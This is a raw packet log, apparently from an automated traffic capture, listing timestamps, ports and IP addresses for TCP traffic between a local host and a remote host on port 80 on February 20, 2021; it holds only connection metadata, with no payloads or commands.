Feb 20, 2021 02:03:51.721072912 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.721102953 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.721141100 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.721162081 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.721180916 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.721195936 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.721213102 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.721220016 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.721234083 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.721291065 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.721292019 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.721313000 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.721352100 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.721368074 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.721405983 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.721427917 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.721446991 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.721460104 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.721467972 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.721476078 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.721482992 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.721520901 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.721523046 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.721544981 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.721576929 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.721604109 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.721615076 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.721637964 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.721652985 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.721659899 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.721681118 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.721698046 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.721700907 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.721705914 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.721710920 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.721721888 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.721745014 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.721755028 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.721772909 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.721821070 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.721823931 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.721852064 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.721868992 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.721879005 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.721898079 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.721904993 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.721920967 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.721932888 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.721951962 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.721982956 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.722002983 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.722028971 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.722055912 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.722057104 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.722074986 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.722083092 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.722100019 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.722109079 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.722132921 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.722136974 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.722152948 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.722162008 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.722182035 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.722206116 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.722215891 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.722264051 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.731291056 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.731317997 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.731343985 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.731380939 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.731412888 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.731417894 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.731703043 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.731753111 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.731895924 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.731930971 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.731942892 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.731966019 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.731980085 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.732002020 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.732016087 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.732045889 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.734601974 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.734639883 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.734653950 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.734673977 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.734687090 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.734730005 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.734785080 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.734819889 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.734833002 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.734853983 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.734867096 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.734889030 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.734895945 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.734924078 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.734963894 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.734966040 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.735009909 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.735021114 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.735093117 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.735145092 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.735178947 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.735218048 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.735233068 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.735250950 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.735271931 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.735287905 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.735322952 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.735328913 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.735341072 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.735357046 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.735361099 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.735390902 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.735404015 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.735425949 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.735440016 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.735476017 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.735479116 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.735513926 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.735522985 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.735548973 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.735577106 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.735610962 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.735615015 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.735625982 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.735654116 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.735661030 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.735909939 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.755043983 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.755109072 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.755148888 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.755202055 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.755235910 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.755342960 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.755403042 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.755861998 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.755901098 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.755923033 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.755947113 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.756081104 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.756130934 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.756203890 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.756256104 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.756649971 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.756691933 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.756706953 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.756738901 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.756846905 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.756896019 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.756896973 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.756938934 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.756946087 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.756978035 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.756990910 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.757020950 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.757029057 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.757072926 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.757718086 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.757760048 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.757781029 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.757797003 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.757814884 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.757843971 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.757844925 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.757884979 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.757891893 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.757922888 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.757937908 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.757961035 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.757976055 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.757999897 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.758009911 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.758037090 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.758049965 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.758074999 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.758086920 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.758111954 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.758126974 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.758158922 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.758164883 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.758200884 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.758217096 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.758236885 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.758255005 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.758275032 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.758282900 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.758313894 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.758327961 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.758352041 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.758366108 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.758389950 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.758403063 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.758428097 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.758444071 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.758483887 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.761223078 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.761296034 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.761425018 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.761466980 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.761485100 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.761523962 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.762567997 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.762613058 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.762623072 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.763149977 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.763190985 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.763210058 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.763281107 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.763331890 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.763335943 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.763358116 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.763390064 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.763396978 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.763403893 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.763442993 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.767574072 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.767621040 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.767663002 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.767671108 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.767688036 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.767700911 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.767715931 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.767740965 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.767760992 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.767792940 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.770572901 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.770644903 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.771225929 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.771280050 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.771282911 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.771322966 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.771327972 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.771362066 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.771377087 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.771400928 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.771418095 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.771439075 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.771454096 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.771475077 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.771487951 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.771512032 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.771524906 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.771562099 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.773509979 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.773551941 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.773581028 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.773588896 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.773605108 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.773628950 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.773638010 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.773679972 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.774470091 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.774518967 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.774534941 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.774560928 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.774574041 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.774597883 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.774610043 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.774636030 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.774647951 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.774688005 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.775259018 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.775300980 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.775332928 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.775336981 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.775352001 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.775383949 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.775392056 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.775427103 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.775441885 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.775475979 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.777348995 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.777401924 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.777477026 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.777518988 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.777525902 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.777554035 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.777566910 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.777601004 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.777601004 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.777652025 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.777697086 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.777735949 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.777750969 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.777772903 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.777786016 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.777813911 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.777820110 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.777851105 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.777865887 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.777900934 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.777929068 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.777966976 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.777982950 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.778014898 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.778033972 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.778072119 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.778084993 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.778109074 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.778122902 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.778146982 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.778155088 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.778197050 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.778198957 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.778248072 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.778270960 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.778310061 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.778322935 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.778347015 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.778363943 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.778383970 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.778395891 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.778422117 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.778431892 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.778460026 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.778474092 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.778506994 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.778507948 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.778549910 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.778554916 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.778587103 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.778595924 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.778625965 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.778633118 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.778664112 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.778678894 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.778701067 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.778712988 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.778738976 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.778753996 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.778776884 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.778784990 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.778824091 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.778825045 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.778866053 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.778873920 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.778903008 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.778923035 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.778942108 CET	80	49165	185.81.0.78	192.168.2.22
